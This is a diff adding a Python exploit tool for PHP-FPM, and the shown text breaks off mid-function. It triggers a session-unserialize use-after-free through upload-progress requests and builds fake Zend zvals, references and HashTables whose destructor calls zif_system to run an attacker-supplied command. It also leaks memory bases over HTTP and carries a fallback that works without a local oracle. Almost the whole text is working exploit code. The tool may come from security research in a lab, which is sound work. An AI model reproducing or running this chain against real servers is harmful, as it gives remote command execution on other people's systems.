+ for part in parts: + name = part["name"] if isinstance(part["name"], bytes) else part["name"].encode("latin1") + out += b"--" + boundary + b"\r\n" + out += b'Content-Disposition: form-data; name="' + name + b'"' + if part.get("filename") is not None: + fname = (part["filename"] if isinstance(part["filename"], bytes) + else part["filename"].encode("latin1")) + out += b'; filename="' + fname + b'"' + out += b"\r\nContent-Type: application/octet-stream" + data = part["data"] if isinstance(part["data"], bytes) else part["data"].encode("latin1") + out += b"\r\n\r\n" + data + b"\r\n" + out += b"--" + boundary + b"--\r\n" + return bytes(out) + + +def parse_sid(header_value: str) -> bytes: + return urllib.parse.unquote_to_bytes(header_value.split(";")[0].strip()) + + +# --------------------------------------------------------------------------- # +# oracle (/proc//mem, lab-only) +# --------------------------------------------------------------------------- # + +def fpm_prefix(version: str) -> str: + return os.path.join(RUNTIME, f"php-{version}") + + +def find_pool_worker(version: str, pool: str) -> int | None: + marker = f"php-fpm: pool {pool}".encode() + for name in os.listdir("/proc"): + if not name.isdigit(): + continue + try: + with open(f"/proc/{name}/cmdline", "rb") as handle: + data = handle.read() + except OSError: + continue + if marker not in data: + continue + # workers of every build look alike; match the binary path + exe = os.readlink(f"/proc/{name}/exe") + if f"php-{version}" in exe: + return int(name) + return None + + +class Oracle: + def __init__(self, version: str, pool: str = "chain"): + self.version = version + self.pid = find_pool_worker(version, pool) + if self.pid is None: + raise RuntimeError(f"no php-fpm '{pool}' worker for {version}") + self.maps = self._read_maps() + self.pie_base = self._pie_base() + self.bg = self.pie_base + self._symbol("basic_globals") + self.zif = self.pie_base + self._symbol("zif_system") + self.dtor = self.pie_base + self._symbol("zval_ptr_dtor") + + def _read_maps(self) -> list[tuple[int, int, str]]: + out = [] + with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle: + for line in handle: + rng, perms, *rest = line.split() + start_s, end_s = rng.split("-") + out.append((int(start_s, 16), int(end_s, 16), perms)) + return out + + def _pie_base(self) -> int: + exe = os.readlink(f"/proc/{self.pid}/exe") + with open(f"/proc/{self.pid}/maps", encoding="utf-8") as handle: + base = None + for line in handle: + parts = line.split() + if parts[-1] != exe: + continue + start = int(parts[0].split("-")[0], 16) + if base is None or start < base: + base = start + if base is None: + raise RuntimeError("pie base not found") + return base + + def _symbol(self, name: str) -> int: + binary = os.readlink(f"/proc/{self.pid}/exe") + result = subprocess.run(["nm", binary], capture_output=True, text=True) + for line in result.stdout.splitlines(): + parts = line.split() + if len(parts) >= 3 and parts[-1] == name: + return int(parts[0], 16) + raise RuntimeError(f"symbol {name} not found") + + def read(self, addr: int, size: int) -> bytes: + with open(f"/proc/{self.pid}/mem", "rb") as handle: + handle.seek(addr) + return handle.read(size) + + def u64(self, addr: int) -> int: + return struct.unpack(" int: + return struct.unpack(" int: + data_off, _level_off = _bg_offsets(self.version) + return self.u64(self.bg + data_off) + + def unserialize_level(self) -> int: + _data_off, level_off = _bg_offsets(self.version) + return self.u32(self.bg + level_off) + + def chunk_base(self, addr: int) -> int | None: + for start, end, perms in self.maps: + if start <= addr < end and "rw-p" in perms and end - start >= MEM_CHUNK: + base = addr & ~(MEM_CHUNK - 1) + if start <= base and base + MEM_CHUNK <= end: + return base + return None + + def refresh(self) -> None: + self.maps = self._read_maps() + + def dump(self) -> None: + d = self.unserialize_data() + level = self.unserialize_level() + chunk = self.chunk_base(d) if d else None + print(f"worker pid={self.pid}") + print(f"pie_base 0x{self.pie_base:x}") + print(f"basic_glob 0x{self.bg:x}") + print(f"zif_system 0x{self.zif:x}") + print(f"zval_ptrdtor 0x{self.dtor:x}") + print(f"BG.data 0x{d:x} level={level}") + print(f"chunk_base {hex(chunk) if chunk else None}") + + +# --------------------------------------------------------------------------- # +# lab helpers +# --------------------------------------------------------------------------- # + +def session_file(version: str, sid: bytes) -> str: + return os.path.join(fpm_prefix(version), "session", f"sess_{sid.decode('latin1')}") + + +def big_session_post(builder: Target, sid: bytes, size: int) -> tuple[int, bytes]: + """Progress-key 4MB string -> session file with a huge key (cleanup=Off).""" + parts = [ + {"name": PATHS["cookie"], "data": sid}, + {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"A" * size}, + {"name": "f", "filename": "a.txt", "data": b"x" * 16}, + ] + status, headers, body = builder.post_multipart(parts, b"BOUNDSZ16", timeout=180.0) + return status, body + + +def ref_session_post(builder: Target, sid: bytes) -> tuple[int, bytes]: + """ref.php stores $_SESSION['r'] =& $_SESSION['a'] -> 'R:2' in the file.""" + status, _headers, body = builder.post_urlencoded( + {"x": "1"}, cookie=_cookie(sid), path=PATHS["ref"]) + return status, body + + +def producer_get(chain: Target, sid: bytes) -> tuple[int, bytes]: + status, _headers, body = chain.get(PATHS["app"], cookie=_cookie(sid)) + return status, body + + +# --------------------------------------------------------------------------- # +# shared exploit pipeline +# --------------------------------------------------------------------------- # + +def _arm_stale(base: Target, builder: Target, oracle: Oracle, size: int) -> int: + """Rebuild the OOM session (php_session_cancel_decode unlinked it during + the previous bailout), fire the producer, return stale BG.data. + + Note: any later request that reaches RINIT memsets BG(basic), so the + stale state must be re-armed immediately before the consume.""" + big_session_post(builder, OOM_SID, size) + producer_get(base, OOM_SID) + d = oracle.unserialize_data() + if not d or oracle.unserialize_level() != 1: + raise RuntimeError("stale state not armed") + return d + + +def _reclaim_pads(version: str, override: list[int] | None = None) -> list[int]: + if override: + return [int(x) for x in override] + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + return [int(x) for x in + json.load(handle)["fpm"].get("reclaim_pads", + [4096, 4096, 4096])] + except (OSError, KeyError, TypeError, ValueError): + return [4096, 4096, 4096] + + +def _load_profile(version: str) -> dict | None: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + return json.load(handle) + except (OSError, ValueError): + return None + + +# Layout of the structures the forged buffer impersonates. The values are +# the PHP 8.4 ones and are only used when a profile carries no "layout" +# section (profiles generated by tools/php2shell_fpm_profile.py always do). +DEFAULT_LAYOUT = { + "unserialize_data": { + "last": 0, "first_dtor": 8, "last_dtor": 16, "allowed_classes": 24, + "ref_props": 32, "cur_depth": 40, "max_depth": 48, "entries": 56, + "size": 8216, + }, + "var_entries": {"used_slots": 0, "next": 8, "data": 16, "max": 1018}, + "zval": {"value": 0, "type_info": 8, "context": 12, "size": 16}, + "zend_array": {"gc": 0, "flags": 8, "nTableMask": 12, "arData": 16, + "nNumUsed": 24, "nNumOfElements": 28, "nTableSize": 32, + "pDestructor": 48}, + "zend_reference": {"gc": 0, "val": 8, "val_type_info": 16, "sources": 24}, + "zend_string": {"gc": 0, "h": 8, "len": 16, "val": 24}, + "zend_execute_data": {"opline": 0, "call": 8, "return_value": 16, + "func": 24, "num_args": 44, "arg1": 80}, + "bucket": {"val": 0, "h": 16, "key": 24}, +} + + +def _layout(version: str) -> dict: + """Struct layout of a PHP build (from its profile).""" + profile = _load_profile(version) + layout = copy.deepcopy(DEFAULT_LAYOUT) + if profile and isinstance(profile.get("layout"), dict): + for section, values in profile["layout"].items(): + if isinstance(values, dict): + merged = dict(layout.get(section, {})) + merged.update(values) + layout[section] = merged + return layout + + +def _bg_offsets(version: str) -> tuple[int, int]: + """(data offset, level offset) of BG(unserialize) for a build.""" + profile = _load_profile(version) + if profile: + meta = profile.get("fpm", {}) + if "bg_unserialize_data_off" in meta and "bg_unserialize_level_off" in meta: + return int(meta["bg_unserialize_data_off"]), \ + int(meta["bg_unserialize_level_off"]) + return BG_UNSERIALIZE_DATA_OFF, BG_UNSERIALIZE_LEVEL_OFF + + +def _probe_cover(chain404: Target, oracle: Oracle, d: int, need: int, + size: int = 12288, + pads: list[int] | tuple[int, ...] = (4096, 4096, 4096) + ) -> int | None: + """Land a patterned reclaim buffer (pads + one big field) over d + against a 404 endpoint, scan the mem chunk for the unique marker, and + return the content offset K such that buffer+K == d.""" + chunk = oracle.chunk_base(d) + if chunk is None: + return None + # Unique marker: the heap retains freed buffer contents across requests, + # so a fixed marker could match a stale copy from a previous run. + marker = b"MK" + os.urandom(6) + content = bytearray(b"\x00" * size) + content[0:8] = marker + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] + parts.append({"name": "big", "data": bytes(content)}) + chain404.post_multipart(parts, b"PRBLAND1") + oracle.refresh() + data = oracle.read(chunk, MEM_CHUNK) + hits, idx = [], 0 + while True: + pos = data.find(marker, idx) + if pos < 0: + break + hits.append(pos) + idx = pos + 1 + d_off = d - chunk + cover = [h for h in hits if h <= d_off and d_off + need <= h + size] + if os.environ.get("PHP2SHELL_DEBUG"): + print(f"[debug] d={d:#x} chunk={chunk:#x} d_off={d_off:#x} " + f"need={need:#x} size={size:#x} hits={[hex(h) for h in hits]} " + f"cover={[hex(h) for h in cover]}") + if not cover: + print(f"[!] no covering reclaim buffer (hits={[hex(h) for h in hits]})") + return None + k = d_off - cover[0] + print(f"[*] d=0x{d:x} reclaim covers d at content off {k:#x}") + return k + + +def _rebuild_ref_and_arm(base: Target, builder: Target, oracle: Oracle, + oom_size: int) -> int: + """Rebuild the ref session (a failed consume saves the corrupted decode + back to the file), re-arm the stale state, and return the re-armed d.""" + ref_session_post(builder, REF_SID) + return _arm_stale(base, builder, oracle, oom_size) + + +def _consume_b(chainapp: Target, forged: bytes, + pads: list[int] | tuple[int, ...] = (4096, 4096, 4096) + ) -> tuple[int, dict[str, str], bytes]: + """Consume with the forged reclaim buffer. + + Consumer B MUST carry the PHP_SESSION_UPLOAD_PROGRESS field and a file + part: rfc1867 has to fire the pre-RINIT session_start, otherwise the + decode would run post-RINIT against a memset BG(unserialize).""" + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(pads)] + parts.append({"name": "big", "data": forged}) + parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}) + parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8}) + status, headers, body = chainapp.post_multipart(parts, b"CONSUME01", + cookie=_cookie(REF_SID)) + print(f"[*] consumer status={status}") + return status, headers, body + + +# --------------------------------------------------------------------------- # +# subcommands +# --------------------------------------------------------------------------- # + +def cmd_lifecycle(args) -> int: + chain = Target(args.base) + version = args.version + worker = find_pool_worker(version, "chain") + print(f"[*] chain worker before: {worker}") + + # pre-RINIT OOM: big multipart POST to index.php (no session, body parse + # happens inside php_request_startup -> bailout -> FPM_EXIT_SOFTWARE) + parts = [{"name": f"p{i:04d}", "data": b"V" * (1 << 20)} for i in range(10)] + status, _h, body = chain.post_multipart(parts, b"PRERINIT1", timeout=60.0) + time.sleep(0.4) + worker2 = find_pool_worker(version, "chain") + print(f"[A] pre-RINIT OOM: status={status} worker {worker} -> {worker2} " + f"({'DIED' if worker != worker2 else 'survived'}) body={body[:60]!r}") + + # post-RINIT OOM: producer (needs a big session; build one if missing) + if not os.path.isfile(session_file(version, OOM_SID)): + builder = Target(args.builder) + print("[*] building oom session (4MB) ...") + big_session_post(builder, OOM_SID, 4 << 20) + worker3 = find_pool_worker(version, "chain") + status, body = producer_get(chain, OOM_SID) + time.sleep(0.2) + worker4 = find_pool_worker(version, "chain") + print(f"[B] post-RINIT OOM: status={status} worker {worker3} -> {worker4} " + f"({'DIED' if worker3 != worker4 else 'survived'})") + print(f" body head: {body[:120]!r}") + return 0 + + +def cmd_oracle(args) -> int: + oracle = Oracle(args.version, pool="chain") + oracle.dump() + return 0 + + +def cmd_build_oom(args) -> int: + builder = Target(args.builder) + sid = args.sid.encode("latin1") + status, _body = big_session_post(builder, sid, args.size) + path = session_file(args.version, sid) + size = os.path.getsize(path) if os.path.isfile(path) else -1 + print(f"builder status={status} session_file={path} size={size}") + return 0 if size > args.size else 1 + + +def cmd_build_ref(args) -> int: + builder = Target(args.builder) + sid = REF_SID + status, body = ref_session_post(builder, sid) + path = session_file(args.version, sid) + content = b"" + if os.path.isfile(path): + with open(path, "rb") as handle: + content = handle.read() + print(f"builder status={status} body={body[:40]!r}") + print(f"session_file={path} content={content!r}") + return 0 if b"R:2" in content else 1 + + +def cmd_producer(args) -> int: + chain = Target(args.base) + sid = args.sid.encode("latin1") + before = find_pool_worker(args.version, "chain") + status, _headers, body = chain.get(PATHS["app"], cookie=_cookie(sid)) + time.sleep(0.2) + after = find_pool_worker(args.version, "chain") + print(f"producer status={status} worker {before} -> {after} " + f"({'DIED' if before != after else 'survived'})") + print(f"body: {body[:160]!r}") + if args.oracle and before == after and before: + oracle = Oracle(args.version) + print(f"BG.data=0x{oracle.unserialize_data():x} " + f"level={oracle.unserialize_level()}") + return 0 + + +def _hexdump(data: bytes, base: int, limit: int = 96) -> str: + lines = [] + for off in range(0, min(len(data), limit), 16): + chunk = data[off:off + 16] + hexs = " ".join(f"{b:02x}" for b in chunk) + lines.append(f" 0x{base + off:012x} {hexs}") + return "\n".join(lines) + + +def cmd_reclaim_probe(args) -> int: + chain = Target(args.base) + builder = Target(args.builder) + oracle = Oracle(args.version) + pads = ([int(x) for x in args.sweep.split(",")] if args.sweep + else [args.pad]) + for pad in pads: + # The producer OOM runs php_session_cancel_decode -> session_destroy, + # which UNLINKS the OOM session file: rebuild it every iteration. + big_session_post(builder, OOM_SID, args.size) + producer_get(chain, OOM_SID) + d = oracle.unserialize_data() + level = oracle.unserialize_level() + if not d or level != 1: + print(f"[!] pad={pad}: stale state not armed (d=0x{d:x} level={level})") + continue + marker = b"PAT" + f"{pad:05d}".encode() + b"!" * 5 + big_value = (marker + b"Q" * 8214)[:8214] + filename = (marker + b"Q" * 8214)[:8214] + for shape in ("field", "filename", "field-first"): + # No PHPSESSID cookie and no progress field: B must NOT decode a + # session (a garbage forged struct would crash var_push). The + # reclaim allocations happen inside rfc1867 during request + # startup; app.php then starts a fresh empty session (no decode). + if shape == "field": + parts: list[dict] = [] + if pad: + parts.append({"name": "pad", "data": b"C" * pad}) + parts.append({"name": "big", "data": big_value}) + elif shape == "filename": + parts = [{"name": "N" * 64, "filename": filename, "data": b"x" * 8}] + else: + parts = [] + if pad: + parts.append({"name": "pad", "data": b"C" * pad}) + parts.append({"name": "big", "data": big_value}) + parts.append({"name": "N" * 64, "filename": b"f.bin", "data": b"x" * 8}) + chain.post_multipart(parts, b"PROBE16BB", timeout=60.0) + try: + region = oracle.read(d, 96) + except OSError as exc: + print(f"[!] pad={pad} shape={shape}: read d failed: {exc}") + oracle = Oracle(args.version) + continue + hit = marker[:8] in region + print(f"[*] pad={pad} shape={shape:11} d=0x{d:x} " + f"level={oracle.unserialize_level()} hit={'YES' if hit else 'no'}") + if hit: + print(_hexdump(region, d)) + return 0 + + +def _forged_benign(param_addr: int) -> bytes: + """8214-byte file-name content: full struct layout with data[1]=FZ long.""" + buf = bytearray(b"\x00" * 8214) + # +0 last -> param_addr (fake var_entries lives in the param buffer) + struct.pack_into(" data[1] is inside our data[]) + struct.pack_into(" bytes: + """Forged reclaim buffer with a benign fake zval (the calibration step). + + The buffer impersonates the freed php_unserialize_data struct: ``last`` + points at the ``entries`` block, ``entries.used_slots`` is 2 so that the + R:2 reference of the session file resolves to ``data[1]``, and ``data[1]`` + points at a fake IS_LONG zval holding ``value``. app.php echoes the + value back, which proves the primitive without firing a destructor. + + PHP <= 7.3 (``layout["unserialize_data"]["legacy"]``) has no embedded + block: ``first``/``last`` point at a separately allocated var_entries + whose ``data[]`` comes first, so the fake block starts at the beginning + of the reclaim buffer itself. ``first`` has to be the address of a real + allocation because PHP 7's var_destroy() frees every block it walks. + """ + layout = layout or DEFAULT_LAYOUT + uns = layout["unserialize_data"] + zval = layout["zval"] + forged = bytearray(size) + entries = uns["entries"] + data_base = entries + layout["var_entries"]["data"] + struct.pack_into(" bytes: + """Forged reclaim buffer that turns the stale ``r`` into a long OOB string. + + The string-slot leak needs the freed k1 slot to be reused by the reclaim + buffer, which depends on the allocator of the build. This variant does + not: R:2 resolves to a fake IS_STRING zval planted next to the fake + struct, whose zend_string also lives inside the reclaim buffer, so + echoing ``r`` dumps ``read_len`` bytes starting inside the buffer and + running through the chunk. Only the reclaim geometry (which the same + sweep discovers) is required. + """ + layout = layout or DEFAULT_LAYOUT + uns = layout["unserialize_data"] + zval = layout["zval"] + string = layout["zend_string"] + ve = layout["var_entries"] + forged = bytearray(size) + entries = uns["entries"] + data_base = entries + ve["data"] + struct.pack_into(" forged zend_string at d+0x400 + struct.pack_into(" 0: + forged[content_off:content_off + fill] = b"Q" * fill + return bytes(forged) + + +def _remote_leak_probe(base: str, builder: str, version: str, chunk: int, + d_off: int, k: int, size: int, pads: list[int], + read_len: int | None = None) -> bytes | None: + """Consume with the direct-leak payload and return the reflected bytes.""" + chainapp = Target(base + PATHS["app"]) + layout = _layout(version) + read_len = read_len or LEAK_READ_LEN + _remote_arm_and_normalize(base, builder, size, pads, size) + forged = _build_leak_payload(chunk + d_off, k, size, read_len, layout) + _status, _headers, body = _consume_b(chainapp, forged, pads) + raw = _dechunk(body) + index = raw.find(b"r\t") + if index < 0: + return None + return raw[index + 2:index + 2 + read_len] + + +def cmd_primitive(args) -> int: + """Arbitrary zval-read primitive: forged var_hash at stale d, session + 'php' decode of the ref session, R:2 -> var_access(1) reads a fake + IS_LONG zval planted inside the reclaim buffer -> reflected by app.php. + + Reclaim geometry (lab 8.4.26, calibrated at runtime via the oracle): + 3 pad fields of 4096 + one big field of SIZE=16384 place a buffer that + covers d at content offset K (probed with a marker run against a 404 + endpoint). The consumer B MUST carry a file part after the progress + field, otherwise rfc1867 never fires the pre-RINIT session_start and + the decode would run post-RINIT against a memset BG. + + The per-request heap recycles the 8216-byte slot at one of two addresses; + if the re-armed consume d differs from the probed d, retry (the pair + stabilizes after at most one mismatch).""" + base = Target(args.base) + chain404 = Target(args.base + PATHS["probe"]) + chainapp = Target(args.base + PATHS["app"]) + builder = Target(args.builder) + oracle = Oracle(args.version) + pads = _reclaim_pads(args.version, getattr(args, "reclaim_pads", None)) + layout = _layout(args.version) + size = int(getattr(args, "reclaim_size", 0) or 16384) + need = 0x440 + + for _attempt in range(8): + try: + d = _arm_stale(base, builder, oracle, args.size) + k = _probe_cover(chain404, oracle, d, need, size, pads) + if k is None: + # the recycled struct alternates between two slots; the + # reclaim buffer only covers one of them per attempt + time.sleep(0.3) + continue + d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) + except (RuntimeError, OSError) as exc: + print(f"[!] {exc}; refreshing oracle") + time.sleep(0.4) + try: + oracle = Oracle(args.version) + except RuntimeError as oracle_exc: + print(f"[!] {oracle_exc}") + return 1 + continue + if d2 != d: + print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") + continue + forged = _build_primitive_payload(d, k, size, args.value, layout) + + status, _h, body = _consume_b(chainapp, forged, pads) + text = body.decode("latin1", "replace") + print(f" body: {text[:300]!r}") + needle = str(args.value).encode() + ok = needle in body + print(f"[*] primitive {'OBSERVABLE' if ok else 'not observable'}") + return 0 if ok else 1 + print("[!] reclaim slot never stabilized") + return 1 + + +def _build_endgame_payload(d: int, k: int, size: int, zif: int, + command: bytes, + layout: dict | None = None) -> bytes: + """Build the forged reclaim buffer for the endgame chain. + + Layout (content offsets from K; every absolute address is d-relative): + K+0x000 decode-time php_unserialize_data (last=&entries, used_slots=2) + K+0x300 fake zval IS_REFERENCE -> d+0x500 + K+0x400 fake var_dtor_entries (used_slots=0) + K+0x500 fake zend_reference (rc forged 0; val = fake array zval) + K+0x700 fake HashTable (rc 1, pDestructor = zif_system) + K+0x800 fake Bucket doubling as the zif_system execute_data frame + K+0x880 fake zend_string holding the command + K+0x8F0 writable scratch for the zif_system return_value + + The struct offsets inside the fake objects come from the profile's + "layout" section, which is generated from the build's own headers: the + zend_array / zend_reference / zend_execute_data layouts moved between + PHP releases. + """ + layout = layout or DEFAULT_LAYOUT + forged = bytearray(size) + uns = layout["unserialize_data"] + zval = layout["zval"] + array = layout["zend_array"] + ref = layout["zend_reference"] + string = layout["zend_string"] + frame = layout["zend_execute_data"] + ve = layout["var_entries"] + # decode-time forged struct (identical to the primitive) + entries = uns["entries"] + data_base = entries + ve["data"] + struct.pack_into(" fake ref at d+0x500 + struct.pack_into(" 1 + struct.pack_into(" 0 -> fire + struct.pack_into(" fake zend_string; the frame's return_value + # points at writable scratch; num_args=1; arg1 zval points at the + # fake zend_string holding the command. + struct.pack_into(" int: + """RCE through a forged HashTable destructor (same reclaim pipeline as + the primitive; only the fake zval payload changes). + + The fake zval consumed by R:2 is IS_REFERENCE -> fake zend_reference + (forged rc=0) -> fake IS_ARRAY zval -> fake HashTable with + pDestructor = zif_system. The consume's ZVAL_COPY addrefs the fake + ref 0 -> 1 (the session 'r' entry becomes the only dtored owner; the + fake zval at d+0x300 is a silent second owner that never gets dtored). + At consumer-B request rshutdown the session dtor delrefs 1 -> 0 and + the dtor chain fires: + + zend_reference_destroy(ref) + i_zval_ptr_dtor(&ref->val) fake array zval (rc 1 -> 0) + zend_array_destroy(ht) + zend_hash_destroy(ht) pDestructor != ZVAL_PTR_DTOR + ht->pDestructor(&bucket.val) = zif_system(fake frame) + + zif_system receives the fake execute_data frame in RDI (the bucket at + E doubles as the frame: num_args=1 at E+0x2C, arg1 zval at E+0x50 + pointing at a fake zend_string holding the command). php_exec runs + the command via popen; the RETVAL write through the bogus RSI + return_value pointer and the interior efree then abort the worker - + acceptable: the proof file is already on disk and FPM respawns the + worker. + + The save that precedes the fire (php_session_flush at rshutdown) + serializes the fake ref/array safely: php_add_var_hash addrefs the + fake ref (1 -> 2) and the serialize-var_hash destroy delrefs it back + (2 -> 1); plain arrays are never addref'd.""" + command = args.command.encode("latin1") + if not command or b"\x00" in command: + print("[!] command must be non-empty and contain no NUL bytes") + return 1 + # fake zend_string at d+0x880 (val at +24) must fit below the scratch + # zval at d+0x8F0 + if len(command) > 0x57: + print(f"[!] command too long ({len(command)} > 87 bytes)") + return 1 + proof = (args.proof_file or "out/p1").lstrip("/") + base = Target(args.base) + chain404 = Target(args.base + PATHS["probe"]) + chainapp = Target(args.base + PATHS["app"]) + builder = Target(args.builder) + oracle = Oracle(args.version) + pads = _reclaim_pads(args.version, getattr(args, "reclaim_pads", None)) + layout = _layout(args.version) + size = int(getattr(args, "reclaim_size", 0) or 12288) + need = 0x900 + + local_proof = os.path.join(LAB, "webroot", proof) + with contextlib.suppress(OSError): + os.remove(local_proof) + + worker_before = find_pool_worker(args.version, "chain") + for _attempt in range(8): + try: + d = _arm_stale(base, builder, oracle, args.size) + k = _probe_cover(chain404, oracle, d, need, size, pads) + if k is None: + # the recycled struct alternates between two slots; the + # reclaim buffer only covers one of them per attempt + print("[*] probe found no cover; retrying") + time.sleep(0.3) + continue + d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) + except (RuntimeError, OSError) as exc: + # a dead worker (stale /proc pid) or a missed arm: rebuild the + # oracle against the respawned worker and retry + print(f"[!] {exc}; refreshing oracle") + time.sleep(0.4) + try: + oracle = Oracle(args.version) + except RuntimeError as oracle_exc: + print(f"[!] {oracle_exc}") + return 1 + continue + if d2 != d: + print(f"[*] slot moved 0x{d:x} -> 0x{d2:x}, retrying") + continue + forged = _build_endgame_payload(d, k, size, oracle.zif, command, layout) + + status, _h, _body = _consume_b(chainapp, forged, pads) + print(f"[*] command {command!r} fired (status={status}); waiting for " + f"worker respawn ...") + break + else: + print("[!] reclaim slot never stabilized; falling back to the " + "no-oracle geometry") + return cmd_no_oracle(args) + + time.sleep(0.8) + worker_after = find_pool_worker(args.version, "chain") + print(f"[*] chain worker {worker_before} -> {worker_after} " + f"({'died after fire' if worker_before != worker_after else 'still alive'})") + for _attempt in range(5): + pstatus, _ph, pbody = base.get("/" + proof) + if pstatus == 200 and pbody: + print(f"[+] RCE proof via /{proof}: {pbody[:120]!r}") + return 0 + time.sleep(0.4) + print(f"[!] no proof at /{proof} (last status={pstatus})") + return 1 + + +def _scan_pattern(oracle: Oracle, pattern: bytes) -> int | None: + for start, end, perms in oracle.maps: + if "rw-p" not in perms or end - start != MEM_CHUNK: + continue + try: + data = oracle.read(start, end - start) + except OSError: + continue + off = data.find(pattern) + if off >= 0: + return start + off + return None + + +def _zif_offset(version: str) -> int: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + with open(path, encoding="utf-8") as handle: + return int(json.load(handle)["libphp"]["zif_system"], 16) + + +def _no_oracle_geometry( + version: str) -> tuple[int, list[tuple[int, int]], list[int]]: + fallback = (16384, [(0x81000, 0xFE8), (0x82000, 0x1FE8), + (0x81000, 0x1FE8), (0x82000, 0xFE8)], + [4096, 4096, 4096]) + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + fpm = json.load(handle)["fpm"]["no_oracle"] + return (int(fpm["reclaim_size"]), + [(int(c["d_off"], 16), int(c["k"], 16)) + for c in fpm["candidates"]], + [int(x) for x in fpm.get("reclaim_pads", [4096, 4096, 4096])]) + except (OSError, KeyError, TypeError, ValueError): + return fallback + + +def _leak_geometry(version: str) -> dict | None: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + leak = json.load(handle)["fpm"]["leak"] + except (OSError, KeyError, TypeError): + return None + try: + return { + "arm_path": str(leak["arm_path"]), + "pads": [int(x) for x in leak["pads"]], + "size": int(leak["size"]), + "header_content_off": int(leak["header_content_off"], 16), + "read_len": int(leak["read_len"], 16), + "chunk_ptr_off": int(leak["chunk_ptr_off"], 16), + "chunk_base_off": int(leak["chunk_base_off"], 16), + "pie_ptr_off": int(leak["pie_ptr_off"], 16), + "pie_base_off": int(leak["pie_base_off"], 16), + } + except (KeyError, TypeError, ValueError): + return None + + +def _dechunk(body: bytes) -> bytes: + """Decode an HTTP chunked body; return it unchanged when not chunked.""" + if not re.match(rb"^[0-9a-fA-F]+\r\n", body): + return body + out = bytearray() + pos = 0 + while pos < len(body): + eol = body.find(b"\r\n", pos) + if eol < 0: + break + try: + size = int(body[pos:eol], 16) + except ValueError: + return body + pos = eol + 2 + if size == 0: + break + out += body[pos:pos + size] + pos += size + if body[pos:pos + 2] == b"\r\n": + pos += 2 + return bytes(out) + + +def _leak_read(base_url: str, builder_url: str, version: str, geom: dict, + attempts: int = 3) -> bytes | None: + """One stale-string OOB read with an explicit geometry; HTTP only. + + ``geom`` only needs arm_path/pads/size/header_content_off/read_len, so + the same request runs both with the calibrated geometry of a profile and + with a candidate geometry while one is being discovered. + """ + chain = Target(base_url) + app = Target(base_url + PATHS["app"]) + builder = Target(builder_url) + size = geom["size"] + read_len = geom["read_len"] + header = geom["header_content_off"] + content = bytearray(size) + struct.pack_into(" 0: + content[header + 0x18:header + 0x18 + fill] = b"Q" * fill + parts = [{"name": f"pad{i}", "data": b"C" * pad} + for i, pad in enumerate(geom["pads"])] + parts.append({"name": "big", "data": bytes(content)}) + parts.append({"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}) + parts.append({"name": "f", "filename": "a.txt", "data": b"x" * 8}) + for attempt in range(attempts): + if attempt: + time.sleep(0.25) + # A reset request after a killed worker clears stale session/lock + # state; without it a post-fire leak can fail on an otherwise healthy + # respawned worker. + with contextlib.suppress(OSError): + ref_session_post(builder, REF_SID) + app.get(PATHS["app"], cookie=_cookie(REF_SID)) + try: + builder.get(geom["arm_path"], cookie=_cookie(OOM_SID)) + chain.get(PATHS["app"], cookie=_cookie(OOM_SID)) + ref_session_post(builder, REF_SID) + _status, _headers, body = app.post_multipart( + parts, b"HTTPLEAK", cookie=_cookie(REF_SID), + timeout=180.0) + raw = _dechunk(body) + idx = raw.find(b"r\t") + if idx < 0: + continue + read = raw[idx + 2:idx + 2 + read_len] + if len(read) >= read_len: + return read + except (OSError, RuntimeError, TimeoutError): + continue + return None + + +def leak_bases_http(base_url: str, builder_url: str, version: str, + arm_path: str | None = None) -> tuple[int, int]: + """Leak PIE and Zend-MM chunk bases over HTTP only. + + The stale short-session string is pointed at a forged zend_string + header in a reclaimed big field. Its length spans the stale zval + array (chunk pointer) and the execute_ex handler table (PIE pointer). + The leak read is repeated because the worker aborts after answering. + """ + geom = _leak_geometry(version) + if geom is None: + raise RuntimeError(f"no HTTP leak geometry for PHP {version}") + if arm_path: + geom = dict(geom, arm_path=arm_path) + for attempt in range(10): + if attempt: + time.sleep(0.25) + read = _leak_read(base_url, builder_url, version, geom, attempts=1) + if read is None: + continue + try: + chunk_ptr = struct.unpack_from(" tuple[list[tuple[int, int]], + list[tuple[int, int]]]: + """(offset, value) pairs of chunk- and PIE-range pointers in a leak.""" + chunk_ptrs: list[tuple[int, int]] = [] + pie_ptrs: list[tuple[int, int]] = [] + for off in range(0, len(read) - 8, 8): + value = struct.unpack_from("= size: + continue # the forged header would not fit the buffer + geom = {"arm_path": arm_path, "pads": list(pads), + "size": size, "header_content_off": header, + "read_len": LEAK_READ_LEN} + first = _leak_read(base_url, builder_url, version, geom) + if first is None: + continue + chunk_ptrs, pie_ptrs = _scan_pointers(first) + if not chunk_ptrs or not pie_ptrs: + continue + second = _leak_read(base_url, builder_url, version, geom) + if second is None: + continue + chunk_again, pie_again = _scan_pointers(second) + stable_chunk = [(off, val) for off, val in chunk_ptrs + if (off, val) in chunk_again] + stable_pie = [(off, val) for off, val in pie_ptrs + if (off, val) in pie_again] + if not stable_chunk or not stable_pie: + continue + chunk_off, chunk_ptr = stable_chunk[0] + chunk = chunk_ptr & ~(MEM_CHUNK - 1) + # The execute_ex handler table sits at the far end of the OOB read + # (0x157e8 of a 0x15810 read on 8.4 and on 8.2), while the dense + # runs of stale heap values sit near its start: trying the pointers + # from the tail first is what keeps the base search short. + stable_pie.sort(key=lambda item: item[0], reverse=True) + geometry = { + "arm_path": arm_path, + "pads": list(pads), + "size": size, + "header_content_off": hex(header), + "read_len": 